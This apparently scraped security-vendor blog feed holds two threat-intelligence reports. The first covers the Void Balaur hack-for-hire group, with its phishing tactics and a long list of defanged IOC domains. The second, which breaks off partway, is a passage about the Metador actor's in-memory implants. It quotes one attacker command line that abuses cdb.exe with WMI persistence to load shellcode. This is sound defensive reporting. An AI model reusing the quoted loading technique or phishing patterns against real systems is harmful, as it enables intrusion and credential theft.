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Before yesterdaySentinelLabs

Void Balaur | The Sprawling Infrastructure of a Careless Mercenary

22 September 2022 at 23:55

Executive Summary

  • The cyber mercenary group known as Void Balaur continues to expand their hack-for-hire campaigns into 2022 unphased by disruptions to their online advertising personas.
  • New targets include a wide variety of industries, often with particular business or political interests tied to Russia. Void Balaur also goes after targets valuable for prepositioning or facilitating future attacks. Their targets span the United States, Russia, Ukraine, and various other countries.
  • Attacks are often very generic in theme, may appear opportunistic in nature, and account for targets making use of multi-factor authentication. The group seeks access to well-known email services (Gmail, Outlook, Yahoo), social media (Facebook, Instagram), messaging (Telegram), and corporate accounts.
  • A unique and short-lived connection links Void Balaur’s infrastructure to the Russian Federal Protective Service (FSO), a low-confidence indication of a potential customer relationship or resource sharing between the two.

Overview

Void Balaur is a highly active hack-for-hire / cyber mercenary group with a wide range of known target types across the globe. Their services have been observed for sale to the public online since at least 2016. Services include the collection of private data and access to specific online email and social media services, such as Gmail, Outlook, Telegram, Yandex, Facebook, Instagram, and business emails.

Void Balaur was first reported in 2019 (eQualitie), then again in 2020 (Amnesty International). In November 2021, our colleagues at Trend Micro profiled the larger set of malicious activity and named the actor “Void Balaur” based on a monster of Eastern European folklore. Most recently Google’s TAG highlighted some of their activity earlier this year. Building on top of analysis from each of our above colleagues, the purpose here is to share our analysis of interesting findings based on newer activity and the large scale set of attacker infrastructure.

During our inaugural LABScon event today I presented on this very topic – a careless mercenary group known as Void Balaur. Attendees of the conference were given a more detailed overview of the content shared here, including specific details on attribution to individuals in Latvia. In the spirit of LABScon, I look forward to further tracking of this actor alongside our industry colleagues to better protect society.

The Hack-for-Hire Business

The hack-for-hire service offering linked to Void Balaur has been advertised through various brand names, as also noted by previous reporting. These are only two early examples of likely others run by the same entity.

First is Hacknet, or “Hackernet-Service”, which began operating in late 2016. In these early years of activity, the group advertised their “Professional Hacking to Order” service for good and to help meet the needs others can not meet. The name can be found advertising across many darkweb forums.

The section on legality of their service provides insight into the mindset and justification of the attacker.

Hacknet-Service legality section - Original
Hacknet-Service legality section – Original
Hacknet-Service legality section - Translated
Hacknet-Service legality section – Translated

Services first offered for hacking at the time included Yandex, Rambler, Mail.ru, Gmail, UKR.net, Yahoo, Outlook, corporate email, Instagram, VK.com, OK.ru, Facebook, and Skype, in addition to “Hacking Training”.

A year later in 2017 the group removed the services of hacking Outlook, Facebook, and UKR.net while adding ICQ messages. In 2018, the group updated their legality pitch noting that corporate email and other requests outside of their advertised list would be considered. Additionally, the group began offering services around content modification/uploading to email and social media networks.

Hacknet-Service Offerings Section - Translated
Hacknet-Service Offerings Section – Translated

Ultimately, the Hacknet persona and their service ended around early 2020 following bans across services and brand collapse after failing to follow through with hacking services they were paid for.

The second example is “RocketHack”, which became active in early 2018, acting as a second persona operated by the same entity.

The RocketHack persona and offerings were thoroughly documented in the TrendMicro report. Interestingly, in our screenshot of their landing page, they used a quote from Nikolay Kononov’s book Kod Durova, a story on the creation of the Russian VK social network.

Around 2019, Hacknet and RocketHack began offering services through various hacker forums to provide information on individuals, including banking and government documents. The personas also begin to offer services for:

  • Remote access or perform requested actions on target PCs
  • Remove content from any blogs, forums, YouTube Channels, news sites or databases “of any institution”.
  • Cleanup information online, and manipulate search engine results.
  • Remote access to iPhones, mobile tracking, manulating associated data.
  • SMS historical records of targets.
  • Real time location tracking through mobile networks.

Void Balaur Infrastructure

As of this blog, Void Balaur has operated over 5,000 unique domains used against individual targets. With a quantity of actor controlled domains in the thousands, each provides us an opportunity for the attacker to make mistakes and lead us to a new set of useful clues. Focusing on the most recent activity from Void Balaur, the set of domains follow a repeating generic set of patterns.

  • Free Email Services
    • E.g., mail-my-accounts-gmail[.]com
  • Email Security / Privacy
    • E.g., security-my-account[.]ru
  • Email Authentication / OAuth
    • accounts-oauth-gmail[.]com
  • Passports / Local Government (Limited, often Russian focus)
    • E.g., no-reply-gosuslugi[.]ru

The collection of associated attacker infrastructure, such as domains and non-shared IPs, is quite large and requires automated methods of tracking to keep up.

Synapse Visual Representation of Domain Scale
Synapse Visual Representation of Domain Scale

Based on our collection of all known Void Balaur domains, we can determine the creation time of each based on year for an estimate of actor campaign activity. While early years activity was generally a very small set of infrastructure, we can note the explosion of activity in 2019. Around this time is when the group was gaining a bad reputation and abandoning brands (Hacknet). This indicates that the group remained highly active without a well known brand, potentially fulfilling requests for customers without the need to publicly advertise anymore.

It’s worth noting that the 2022 quantity is lower than expected at this time. However, the group historically has registered domains in bulk rather than evenly throughout the year. Additionally, we have observed a new set of infrastructure and campaigns we believe may be Void Balaur; however, technical links are not yet confident enough to publicly share at this time. Such activity could be an entirely unique group, or a new phase of Void Balaur attempting to evade further tracking.

Domain Count by Year
Domain Count by Year

Intriguing Relationships

A potential indicator of the careless OPSEC in the Void Balaur infrastructure is a low confidence connection to the Russian Federal Protective / Guard Service (FSO). The FSO institution operates with a range of capabilities, including the right to conduct surveillance, monitor communications, and operate clandestine activities. Was this a customer-confidentiality oversight by Void Balaur? Perhaps a mistake in the workflow of expanding their infrastructure? The meaning and exact technical reason behind this connection is unclear; however, based on our attribution to technical operators outside of Russia, it is potentially a clue that Russian intelligence agencies are somehow involved with Void Balaur and the FSO is either directly using the services or supporting the use of the services internally.

Specifically, one domain in the thousands of those created and operated by Void Balaur over the years was seen immediately resolving to the Russian FSO network after it was registered. In early 2022 the domain accounts-my-mail-gmail[.]com resolved to 95.173.132[.]1 for four days following its registration, then quickly shifting to the traditional Void Balaur cluster of infrastructure. The IP 95.173.132[.]1 is owned and operated by the Russian FSO, typically reserved for official .ru government websites. To reiterate, this connection is only observed once in the entirety of Void Balaur infrastructure.

Visualization of link between Void Balaur Infrastructure and FSO
Visualization of link between Void Balaur Infrastructure and FSO

Targeting

Void Balaur continues their known targeting of a wide variety of individuals and organizations across the globe. The vast majority of known 2022 targets hold a special interest or involvement in business and political situations relevant to organizations inside Russia. Examples include individuals heavily involved in geopolitics, legal, business transactions, technology, human rights and more. Locations of these individuals include:

  • Russia
  • United States
  • United Kingdom
  • Taiwan
  • Brazil
  • Kazakhstan
  • Ukraine
  • Moldova
  • Georgia
  • Spain
  • Central African Republic
  • Sudan
2022 Target Map
2022 Target Map

We observed continued targeting in 2022 making use of generic, highly reproducible, phishing emails to lure targets into providing account credentials. Based on thousands of phishing domains we collected, Google owned services are the most common targets and attack themes.

However, in most cases the phishing emails are somewhat more relevant to the target of choice. For example, this includes emails designed to mimic local government services, or online websites common to a particular target, such as banking or social media. Void Balaur has made use of this approach for much of its existence. Examples include a 2016 attempt at phishing on the Moscow motorcycle road racing Youtuber Alexey Naberezhny, and in 2017 the Russian journalist and social media personality Ilya Varlamov. These individuals were targeted by Void Balaur with phishing emails spoofing Russian Public Services traffic fines.

Void Balaur Traffic Fine Phishing Message Targeting Ilya Varlamov
Void Balaur Traffic Fine Phishing Message Targeting Ilya Varlamov
Void Balaur Traffic Fine Phishing Message Targeting Alexey Naberezhny
Void Balaur Traffic Fine Phishing Message Targeting Alexey Naberezhny

In this case, the payment link goes to srv-gm[.]ru, accountc-gooogle.com, and others, which returns an illicit Google login page.

Google Phishing Page
Google Phishing Page

In 2022, we observed cases in which Void Balaur sought to compromise Google accounts with multi-factor authentication enabled as well. For example, some phishing pages would ask the target to enter backup codes Google provides during the initial 2-Step verification setup process.

llicit 2-Step Verification Backup Code Request
llicit 2-Step Verification Backup Code Request

Conclusion

Void Balaur remains a highly active and evolving threat to individuals across the globe. From the targeting of well known email services to the offering of hacking corporate networks, the group represents a clear example of the hack-for-hire market. We expect this type of actor to be increasingly common to observe in the wild.

Recent IOCs

account-mail-passport[.]ru
account-my-mail-gmail[.]com
account-my-oauths-mail[.]ru
account-oauth-gmail[.]com
accounts-mail-passport[.]ru
accounts-my-mail-gmail[.]com
accounts-my-oauth-mail[.]ru
accounts-oauth-gmail[.]com
cloud-account-mail[.]ru
cloud-accounts-goglemail[.]com
cloud-accounts-mail[.]ru
cloud-my-accounts-mail[.]ru
cloud-myaccount-goglemail[.]com
cloud-myaccount-mail[.]ru
community-experience-manager[.]ru
community-experience-my-community[.]ru
community-experience-permission[.]ru
community-experience-preference[.]ru
community-experience-types[.]ru
community-experience[.]ru
community-manager-experience[.]ru
community-manager-place[.]ru
community-manager-preference[.]ru
community-manager-safety[.]ru
community-manager-smartlink[.]ru
community-manager-types[.]ru
community-manager[.]ru
community-my-permission[.]ru
community-my-place[.]ru
community-my-safe[.]ru
community-my-safety[.]ru
community-my-source[.]ru
community-my-types[.]ru
community-online-experience[.]ru
community-online-manager[.]ru
community-online-permission[.]ru
community-online-place[.]ru
community-online-types[.]ru
community-permission-experience[.]ru
community-permission-manager[.]ru
community-permission-preference[.]ru
community-permission-source[.]ru
community-permission[.]ru
community-place-community[.]ru
community-place-manager[.]ru
community-place-permission[.]ru
community-place-preference[.]ru
community-place-types[.]ru
community-place[.]ru
community-preference-manager[.]ru
community-preference-permission[.]ru
community-preference-place[.]ru
community-safe-manager[.]ru
community-safe-permission[.]ru
community-safe-place[.]ru
community-safe-types[.]ru
community-safety-manager[.]ru
community-safety-my-experience[.]ru
community-safety-permission[.]ru
community-safety-place[.]ru
community-safety-preference[.]ru
community-safety-types[.]ru
community-smartlink-experience[.]ru
community-smartlink-manager[.]ru
community-smartlink-permission[.]ru
community-smartlink-types[.]ru
community-source-manager[.]ru
community-source-permission[.]ru
community-source-place[.]ru
community-source-preference[.]ru
community-types-experience[.]ru
community-types-manager[.]ru
community-types-permission[.]ru
community-types[.]ru
experience-community-manager[.]ru
experience-community-my-smartlink[.]ru
experience-community-permission[.]ru
experience-community-preference[.]ru
experience-manager-community[.]ru
experience-manager-permission[.]ru
experience-manager-place[.]ru
experience-manager-safety[.]ru
experience-manager-smartlink[.]ru
experience-manager-types[.]ru
experience-manager[.]ru
experience-my-community-smartlink[.]ru
experience-my-manager[.]ru
experience-my-online-smartlink[.]ru
experience-my-permission[.]ru
experience-my-place[.]ru
experience-my-preference-smartlink[.]ru
experience-my-preference[.]ru
experience-my-safe-smartlink[.]ru
experience-my-safe[.]ru
experience-my-safety[.]ru
experience-my-source-smartlink[.]ru
experience-my-source[.]ru
experience-online-manager[.]ru
experience-online-my-smartlink[.]ru
experience-online-permission[.]ru
experience-online-place[.]ru
experience-online-preference[.]ru
experience-online-smartlink[.]ru
experience-online-types[.]ru
experience-permission-community[.]ru
experience-permission-manager[.]ru
experience-permission-place[.]ru
experience-permission-preference[.]ru
experience-permission-smartlink[.]ru
experience-permission-source[.]ru
experience-permission[.]ru
experience-place-smartlink[.]ru
experience-place-types[.]ru
experience-place[.]ru
experience-preference-manager[.]ru
experience-preference-my-smartlink[.]ru
experience-preference-permission[.]ru
experience-preference-place[.]ru
experience-preference-smartlink[.]ru
experience-safe-manager[.]ru
experience-safe-my-smartlink[.]ru
experience-safe-permission[.]ru
experience-safe-place[.]ru
experience-safe-preference[.]ru
experience-safe-smartlink[.]ru
experience-safe-types[.]ru
experience-safety-manager[.]ru
experience-safety-my-smartlink[.]ru
experience-safety-permission[.]ru
experience-safety-place[.]ru
experience-safety-preference[.]ru
experience-safety-smartlink[.]ru
experience-safety-types[.]ru
experience-smartlink-manager[.]ru
experience-smartlink-permission[.]ru
experience-smartlink-preference[.]ru
experience-source-my-smartlink[.]ru
experience-source-place[.]ru
experience-source-preference[.]ru
experience-source-smartlink[.]ru
experience-types-place[.]ru
experience-types-smartlink[.]ru
experience-types[.]ru
login-account-cloud-mail[.]ru
login-accounts-mail[.]ru
login-auth-account-mail[.]ru
login-auth-accounts-mail[.]ru
login-cloud-account-mail[.]ru
login-cloud-myaccount-mail[.]ru
login-my-acounts-mail[.]ru
login-myaccount-cloud-mail[.]ru
login-oauth-mail[.]ru
mail-auth-account[.]ru
mail-auth-myacount[.]ru
mail-ems[.]ru
mail-login-auth[.]ru
mail-login-oauth[.]ru
mail-my-acounts-mail[.]ru
mail-my-passport-account[.]ru
mail-security-myaccount[.]ru
mail-security-myaccounts[.]ru
manager-community-permission[.]ru
manager-community-place[.]ru
manager-community-types[.]ru
manager-experience-permission[.]ru
manager-experience-place[.]ru
manager-experience-preference[.]ru
manager-experience-types[.]ru
manager-my-community[.]ru
manager-my-experience[.]ru
manager-my-preference[.]ru
manager-my-safe[.]ru
manager-my-smartlink[.]ru
manager-my-source[.]ru
manager-online-community[.]ru
manager-online-permission[.]ru
manager-online-place[.]ru
manager-online-preference[.]ru
manager-online-smartlink[.]ru
manager-online-types[.]ru
manager-permission-place[.]ru
manager-permission-preference[.]ru
manager-permission-source[.]ru
manager-permission-types[.]ru
manager-place-community[.]ru
manager-place-experience[.]ru
manager-place-permission[.]ru
manager-place-preference[.]ru
manager-place-smartlink[.]ru
manager-place-types[.]ru
manager-preference-community[.]ru
manager-preference-permission[.]ru
manager-preference-place[.]ru
manager-preference-smartlink[.]ru
manager-preference-types[.]ru
manager-safe-community[.]ru
manager-safe-experience[.]ru
manager-safe-permission[.]ru
manager-safe-place[.]ru
manager-safe-preference[.]ru
manager-safe-smartlink[.]ru
manager-safe-types[.]ru
manager-safety-community[.]ru
manager-safety-permission[.]ru
manager-safety-place[.]ru
manager-safety-smartlink[.]ru
manager-smartlink-permission[.]ru
manager-smartlink-place[.]ru
manager-smartlink-types[.]ru
manager-source-community[.]ru
manager-source-permission[.]ru
manager-source-place[.]ru
manager-source-preference[.]ru
manager-source-smartlink[.]ru
manager-types-community[.]ru
manager-types-experience[.]ru
manager-types-permission[.]ru
manager-types-place[.]ru
my-account-auth-mail[.]ru
my-account-mail-passport[.]ru
my-account-my-cloud-mail[.]ru
my-account-oauth-mail[.]ru
my-accounts-mail-passport[.]ru
my-acount-oauths[.]ru
my-cloud-accounts-mail[.]ru
my-community-experience[.]ru
my-community-manager[.]ru
my-community-permission[.]ru
my-community-place[.]ru
my-community-smartlink[.]ru
my-community[.]ru
my-experience-manager[.]ru
my-experience-permission[.]ru
my-experience-place[.]ru
my-experience-preference[.]ru
my-mail-account-mail[.]ru
my-mail-account-yahoo[.]com
my-mail-accounts-mail[.]ru
my-manager-community[.]ru
my-manager-experience[.]ru
my-manager-place[.]ru
my-manager-preference[.]ru
my-manager-safety[.]ru
my-manager-smartlink[.]ru
my-oauth-account-gmail[.]com
my-oauth-account-mail[.]ru
my-oauth-accounts-mail[.]ru
my-oauths-account-mail[.]ru
my-oauths-accounts-mail[.]ru
my-online-experience[.]ru
my-online-permission[.]ru
my-online-place[.]ru
my-permission-community[.]ru
my-permission-experience[.]ru
my-permission-manager[.]ru
my-permission-place[.]ru
my-permission-preference[.]ru
my-permission-smartlink[.]ru
my-place-smartlink[.]ru
my-preference-experience[.]ru
my-preference-manager[.]ru
my-preference-permission[.]ru
my-preference-place[.]ru
my-preference[.]ru
my-safe-community[.]ru
my-safe-experience[.]ru
my-safe-permission[.]ru
my-safe-place[.]ru
my-safety-community[.]ru
my-safety-experience[.]ru
my-safety-permission[.]ru
my-safety-place[.]ru
my-signin-account-gmail[.]com
my-signin-accounts-gmail[.]com
my-smartlink-experience[.]ru
my-smartlink-manager[.]ru
my-smartlink-permission[.]ru
my-smartlink-place[.]ru
my-smartlink[.]ru
my-source-community[.]ru
my-source-place[.]ru
my-types-community[.]ru
my-types-permission[.]ru
my-types-place[.]ru
myaccount-mail-passport[.]ru
myaccount-my-mail-gmail[.]com
myaccount-oauths[.]ru
myaccounts-auth[.]ru
myaccounts-mail-passport[.]ru
myaccounts-my-mail-gmail[.]com
no-reply-gosuslugi[.]ru
oauth-login-account-mail[.]ru
oauth-login-accounts-mail[.]ru
permission-community-experience[.]ru
permission-community-manager[.]ru
permission-community-place[.]ru
permission-community-preference[.]ru
permission-community-types[.]ru
permission-experience-manager[.]ru
permission-experience-preference[.]ru
permission-manager-community[.]ru
permission-manager-experience[.]ru
permission-manager-place[.]ru
permission-manager-preference[.]ru
permission-manager-smartlink[.]ru
permission-manager-types[.]ru
permission-my-community[.]ru
permission-my-experience[.]ru
permission-my-manager[.]ru
permission-my-place[.]ru
permission-my-preference[.]ru
permission-my-safe[.]ru
permission-my-smartlink[.]ru
permission-my-source[.]ru
permission-my-types[.]ru
permission-online-experience[.]ru
permission-online-manager[.]ru
permission-online-place[.]ru
permission-online-preference[.]ru
permission-online-types[.]ru
permission-place-community[.]ru
permission-place-experience[.]ru
permission-place-manager[.]ru
permission-place-smartlink[.]ru
permission-place-types[.]ru
permission-place[.]ru
permission-preference-manager[.]ru
permission-preference-types[.]ru
permission-safe-experience[.]ru
permission-safe-manager[.]ru
permission-safe-place[.]ru
permission-safe-preference[.]ru
permission-safe-types[.]ru
permission-safety-experience[.]ru
permission-safety-manager[.]ru
permission-safety-place[.]ru
permission-safety-preference[.]ru
permission-safety-smartlink[.]ru
permission-safety-types[.]ru
permission-smartlink-experience[.]ru
permission-smartlink-manager[.]ru
permission-smartlink-preference[.]ru
permission-smartlink-types[.]ru
permission-smartlink[.]ru
permission-source-manager[.]ru
permission-source-preference[.]ru
permission-types-place[.]ru
place-community-experience[.]ru
place-community-manager[.]ru
place-community-permission[.]ru
place-community-safe[.]ru
place-community-safety[.]ru
place-community-smartlink[.]ru
place-community-source[.]ru
place-community-types[.]ru
place-community[.]ru
place-experience-community[.]ru
place-experience-manager[.]ru
place-experience-permission[.]ru
place-experience-place[.]ru
place-experience-safe[.]ru
place-experience-safety[.]ru
place-experience-source[.]ru
place-experience-types[.]ru
place-experience[.]ru
place-manager-community[.]ru
place-manager-permission[.]ru
place-manager-safe[.]ru
place-manager-safety[.]ru
place-manager-smartlink[.]ru
place-manager-source[.]ru
place-manager-types[.]ru
place-manager[.]ru
place-my-community[.]ru
place-my-experience[.]ru
place-my-manager[.]ru
place-my-permission[.]ru
place-my-preference[.]ru
place-my-safe[.]ru
place-my-smartlink[.]ru
place-my-types[.]ru
place-online-community[.]ru
place-online-experience[.]ru
place-online-manager[.]ru
place-online-permission[.]ru
place-online-safety[.]ru
place-online-smartlink[.]ru
place-online-source[.]ru
place-online-types[.]ru
place-permission-community[.]ru
place-permission-experience[.]ru
place-permission-safety[.]ru
place-permission-smartlink[.]ru
place-permission-source[.]ru
place-permission-types[.]ru
place-permission[.]ru
place-preference-community[.]ru
place-preference-experience[.]ru
place-preference-manager[.]ru
place-preference-place[.]ru
place-preference-safe[.]ru
place-preference-smartlink[.]ru
place-preference-source[.]ru
place-preference-types[.]ru
place-preference[.]ru
place-safe-community[.]ru
place-safe-experience[.]ru
place-safe-manager[.]ru
place-safe-permission[.]ru
place-safe-safety[.]ru
place-safe-smartlink[.]ru
place-safe-source[.]ru
place-safe-types[.]ru
place-safety-community[.]ru
place-safety-experience[.]ru
place-safety-permission[.]ru
place-safety-smartlink[.]ru
place-safety-source[.]ru
place-safety-types[.]ru
place-smartlink-community[.]ru
place-smartlink-experience[.]ru
place-smartlink-manager[.]ru
place-smartlink-preference[.]ru
place-smartlink-safe[.]ru
place-smartlink-safety[.]ru
place-smartlink-source[.]ru
place-smartlink-types[.]ru
place-smartlink[.]ru
place-source-community[.]ru
place-source-experience[.]ru
place-source-permission[.]ru
place-source-safety[.]ru
place-source-smartlink[.]ru
place-types-community[.]ru
place-types-experience[.]ru
place-types-permission[.]ru
place-types-smartlink[.]ru
preference-community-experience[.]ru
preference-community-manager[.]ru
preference-community-place[.]ru
preference-manager-community[.]ru
preference-manager-experience[.]ru
preference-manager-permission[.]ru
preference-manager-smartlink[.]ru
preference-manager-types[.]ru
preference-my-manager[.]ru
preference-my-permission[.]ru
preference-my-source[.]ru
preference-online-manager[.]ru
preference-online-permission[.]ru
preference-online-place[.]ru
preference-online-types[.]ru
preference-permission-place[.]ru
preference-permission[.]ru
preference-place-community[.]ru
preference-place-smartlink[.]ru
preference-place-types[.]ru
preference-safe-experience[.]ru
preference-safe-manager[.]ru
preference-safe-place[.]ru
preference-safety-permission[.]ru
preference-safety-place[.]ru
preference-smartlink-experience[.]ru
preference-smartlink-permission[.]ru
preference-smartlink-place[.]ru
preference-source-experience[.]ru
preference-source-permission[.]ru
preference-source-place[.]ru
preference-types-place[.]ru
safe-manager-experience[.]ru
safe-manager-smartlink[.]ru
safe-online-experience[.]ru
safe-permission-experience[.]ru
safe-permission-source[.]ru
safe-place-community[.]ru
safe-place-experience[.]ru
safe-place-permission[.]ru
safe-place-preference[.]ru
safe-place-smartlink[.]ru
safe-safety-experience[.]ru
safe-smartlink-experience[.]ru
safe-source-experience[.]ru
safety-community-source[.]ru
safety-manager-source[.]ru
safety-my-smartlink[.]ru
safety-permission-community[.]ru
safety-place-community[.]ru
safety-place-experience[.]ru
safety-place-permission[.]ru
safety-place-preference[.]ru
safety-place-smartlink[.]ru
safety-preference-experience[.]ru
safety-preference-source[.]ru
safety-smartlink-source[.]ru
security-my-account[.]ru
security-myaccount[.]ru
security-myaccounts[.]ru
smartlink-communit-safety[.]ru
smartlink-experience-place[.]ru
smartlink-experience[.]ru
smartlink-manager-permission[.]ru
smartlink-manager-place[.]ru
smartlink-manager-safety[.]ru
smartlink-manager-types[.]ru
smartlink-manager[.]ru
smartlink-my-manager[.]ru
smartlink-my-permission[.]ru
smartlink-my-place[.]ru
smartlink-my-safe[.]ru
smartlink-my-safety[.]ru
smartlink-my-source[.]ru
smartlink-online-permission[.]ru
smartlink-online-place[.]ru
smartlink-online-safety[.]ru
smartlink-online-types[.]ru
smartlink-permission-community[.]ru
smartlink-permission-experience[.]ru
smartlink-permission-safety[.]ru
smartlink-permission-source[.]ru
smartlink-permission[.]ru
smartlink-place-community[.]ru
smartlink-place-manager[.]ru
smartlink-place-permission[.]ru
smartlink-place-types[.]ru
smartlink-place[.]ru
smartlink-safe-manager[.]ru
smartlink-safe-permission[.]ru
smartlink-safe-place[.]ru
smartlink-safe-safety[.]ru
smartlink-safe-types[.]ru
smartlink-safety-place[.]ru
smartlink-safety-types[.]ru
smartlink-source-manager[.]ru
smartlink-source-permission[.]ru
smartlink-source-place[.]ru
smartlink-source-safety[.]ru
smartlink-types-place[.]ru
smartlink-types[.]ru
source-community-preference[.]ru
source-experience-preference[.]ru
source-place-community[.]ru
source-place-experience[.]ru
source-place-permission[.]ru
source-place-preference[.]ru
source-place-smartlink[.]ru
source-safe-preference[.]ru
source-safety-preference[.]ru
source-source-preference[.]ru
types-community-experience[.]ru
types-community-permission[.]ru
types-community-place[.]ru
types-community-preference[.]ru
types-community[.]ru
types-experience-place[.]ru
types-experience[.]ru
types-manager-permission[.]ru
types-manager-place[.]ru
types-manager-preference[.]ru
types-manager-smartlink[.]ru
types-my-permission[.]ru
types-my-place[.]ru
types-my-smartlink[.]ru
types-online-community[.]ru
types-online-experience[.]ru
types-online-permission[.]ru
types-online-place[.]ru
types-online-preference[.]ru
types-online-smartlink[.]ru
types-palce-experience[.]ru
types-palce-smartlink[.]ru
types-permission-experience[.]ru
types-permission-place[.]ru
types-place-community[.]ru
types-place-experience[.]ru
types-place-permission[.]ru
types-place-preference[.]ru
types-place-smartlink[.]ru
types-place[.]ru
types-preference-experience[.]ru
types-preference-place[.]ru
types-safe-experience[.]ru
types-safe-smartlink[.]ru
types-safety-experience[.]ru
types-safety-smartlink[.]ru
types-smartlink-community[.]ru
types-smartlink-experience[.]ru
types-smartlink-manager[.]ru
types-smartlink-place[.]ru
types-smartlink[.]ru
yandex-account-mail-passport[.]ru
yandex-account-passport[.]ru
yandex-accounts-mail-passport[.]ru
yandex-auth-passport[.]ru
yandex-my-account-passport[.]ru
yandex-my-accounts-passport[.]ru
yandex-my-passport-accounts[.]ru
yandex-my-profile-passport[.]ru
yandex-myaccount-mail-passport[.]ru
yandex-myaccount-passport[.]ru
yandex-myaccounts-mail-passport[.]ru
yandex-myaccounts-passport[.]ru
yandex-mypassport-account[.]ru
yandex-mypassport-accounts[.]ru
yandex-myprofile-passport[.]ru
yandex-oauth-passport[.]ru
yandex-passport-my-account[.]ru
yandex-profile-passport[.]ru

The Mystery of Metador | An Unattributed Threat Hiding in Telcos, ISPs, and Universities

22 September 2022 at 18:24

By Juan Andres Guerrero-Saade, Amitai Ben Shushan Ehrlich, and Aleksandar Milenkoski

Executive Summary

  • SentinelLabs researchers uncovered a never-before-seen advanced threat actor we’ve dubbed ‘Metador’.
  • Metador primarily targets telecommunications, internet service providers, and universities in several countries in the Middle East and Africa.
  • The operators are highly aware of operations security, managing carefully segmented infrastructure per victim, and quickly deploying intricate countermeasures in the presence of security solutions.
  • Metador’s attack chains are designed to bypass native security solutions while deploying malware platforms directly into memory. SentinelLabs researchers discovered variants of two long-standing Windows malware platforms, and indications of an additional Linux implant.
  • At this time, there’s no clear, reliable sense of attribution. Traces point to multiple developers and operators that speak both English and Spanish, alongside varied cultural references including British pop punk lyrics and Argentinian political cartoons.
  • While Metador appears primarily focused on enabling collection operations aligned with state interests, we’d point to the possibility of a high-end contractor arrangement not tied to a specific country.
  • This release is a call to action for threat intelligence researchers, service providers, and defenders to collaborate on tracking an elusive adversary acting with impunity.

Read the Full Report

Introduction

The term ‘Magnet of Threats’ is used to describe targets so desirable that multiple threat actors regularly cohabitate on the same victim machine in the course of their collection. In the process of responding to a series of tangled intrusions at one of these Magnets of Threats, SentinelLabs researchers encountered an entirely new threat actor. We dubbed this threat actor ‘Metador’ in reference to the string “I am meta” in one of their malware samples and the expectation of Spanish-language responses from the command-and-control servers.

Our research on Metador was presented at the inaugural LABScon in Arizona. In this post, we offer a short summary of our full findings, which include a detailed report, threat indicators, and an extensive Technical Appendix.

Metador | Hiding in a Magnet of Threats

The Magnet of Threats in question contained a redundant layering of nearly ten (10) known threat actors of Chinese and Iranian origin, including Moshen Dragon and MuddyWater. Among them, we noticed the use of an unusual LOLbin, the Microsoft Console Debugger cdb.exe. CDB was the root of an intricate infection chain that would yield two in-memory malware platforms and indications of additional Linux implants.

The intrusions we uncovered were located primarily in telcos, ISPs, and universities in the Middle East and Africa. We believe that we’ve only seen a small portion of the operations of what’s clearly a long-running threat actor of unknown origin.

Throughout our analysis, we retrieved and analyzed examples of two different malware platforms used by Metador–‘metaMain’ and ‘Mafalda’. These Windows-based platforms are intended to operate entirely in-memory and never touch disk in an unencrypted fashion, eluding native security products and standard Windows configurations with relative ease. The internal versioning of Mafalda suggests that this platform has been in use for some time, and its adaptability during our engagement alone highlights active and continuing development.

We also found indications of additional implant(s):

  • ‘Cryshell’– a custom implant used for bouncing connections in an internal network to external command-and-control servers, with support for custom port knocking sequences.
  • Unknown Linux malware used to pilfer materials from other machines in the target environment and route their collection back to Mafalda.

Part of the difficulty in tracking the breadth of Metador’s operations involves their strict adherence to infrastructure segmentation. The attackers use a single IP per victim and build.

Attributing Metador remains a garbled mystery. We encountered multiple languages, with diverse idiosyncrasies indicative of multiple developers. There are indications of a separation between developers and operators, and despite a lack of samples, the version history for at least one of the platforms suggests a history of development that extends far beyond the intrusions we’ve uncovered.

Technical Overview

The Magnet of Threats in question deployed our XDR solution after they’d been infected by Metador for several months. As such, we have no indication of the original infection vector employed in this or other infections.

Once on the target, the Metador operators can choose between multiple execution flows to load one or more of their modular frameworks. The execution flow used on our Magnet of Threats combines a WMI persistence mechanism with an unusual LOLbin in order to kick off the decryption of a multi-mode, in-memory implant we named ‘metaMain’.

metaMain is a feature-rich backdoor, but in this case the Metador operators used the metaMain implant to decrypt a subsequent modular framework called ‘Mafalda’ into memory.

Mafalda is a flexible interactive implant, supporting over 60 commands. It appears to be a highly-valuable asset to the Metador operators, with newer variants exhibiting intense obfuscation making them challenging to analyze.

Metador’s multi-framework execution flow
Metador’s multi-framework execution flow

The Many Supported Execution Flows of metaMain

metaMain is an implant framework used to maintain long-term access to compromised machines. It provides operators with extensive functionality, like keyboard and mouse event logging, screenshot theft, file download and upload, and the ability to execute arbitrary shellcode.

The backdoor is keenly aware of its own execution context and runs in one of two modes as a result. The developers designate these modes by writing out either “I am meta” or “I am main” to a log. We chose to name the platform ‘metaMain’ in reference to these two modes.

metaMain supports multiple start_method’s (i.e., execution flows), with the backdoor’s operations differing slightly per method. The methods supported are CDB_DEBUGGER, HKCMD_SIDELOADING, and KL_INJECTED. We briefly describe CDB_DEBUGGER below, the execution flow seen on our Magnet of Threats. A fuller description of this and additional start_methods, configuration artifacts, and supported commands are available here.

The CDB_DEBUGGER start_method

As the name suggests, this execution scheme relies on CDB, the Microsoft Console Debugger, to carry out the execution process. Within this method, there are two possible variations based on whether the implant is invoked in meta- or main-mode. We witnessed its use in meta-mode, turning the metaMain implant into a glorified loader for a Mafalda implant.

In this case, metaMain’s persistence relies on the abuse of WMI Event Subscriptions. The operators register an event consumer named hard_disk_stat.

The <em>hard_disk_stat</em> event consumer
The hard_disk_stat event consumer

Five to six minutes after booting up, the event triggers the execution of a LOLbin, cdb.exe.

WMI Event Subscription
WMI Event Subscription

The attackers used the following command line:

cdb.exe -cf c:\windows\system32\cdb.ini c:\windows\system32\defrag.exe -module fcache13.db
The <em>cdb.exe</em> command line
The cdb.exe command line

A debugging script, cdb.ini, is used to inject a small amount of shellcode into the debugged process in order to load metaMain. The shellcode reads, decrypts, and executes metaMain’s reflective DLL Loader from c:\windows\system32\Speech\Speech02.db. The DLL’s sole purpose is to then read, decrypt, and load the metaMain orchestrator, stored as Speech03.db.

When invoked in meta-mode, metaMain serves as a loader for the payload provided as an argument following -module. In our observed case, the executed module was fcache13.db, an encrypted Mafalda payload.

main and meta execution modes
main and meta execution modes

Mafalda Backdoor Overview

The Mafalda implant extends the backdoor functionalities that metaMain provides and is an actively maintained, ongoing project. We observed two variants of the Mafalda backdoor::

  • ‘Mafalda Clear Build 144’ – compiled with a timestamp of April 2021
  • ‘Obfuscated Mafalda variant’ – compiled with a timestamp of December 2021

The newer Obfuscated Mafalda variant extends the number of supported commands from 54 to 67 and is rife with anti-analysis techniques that make analysis extremely challenging.

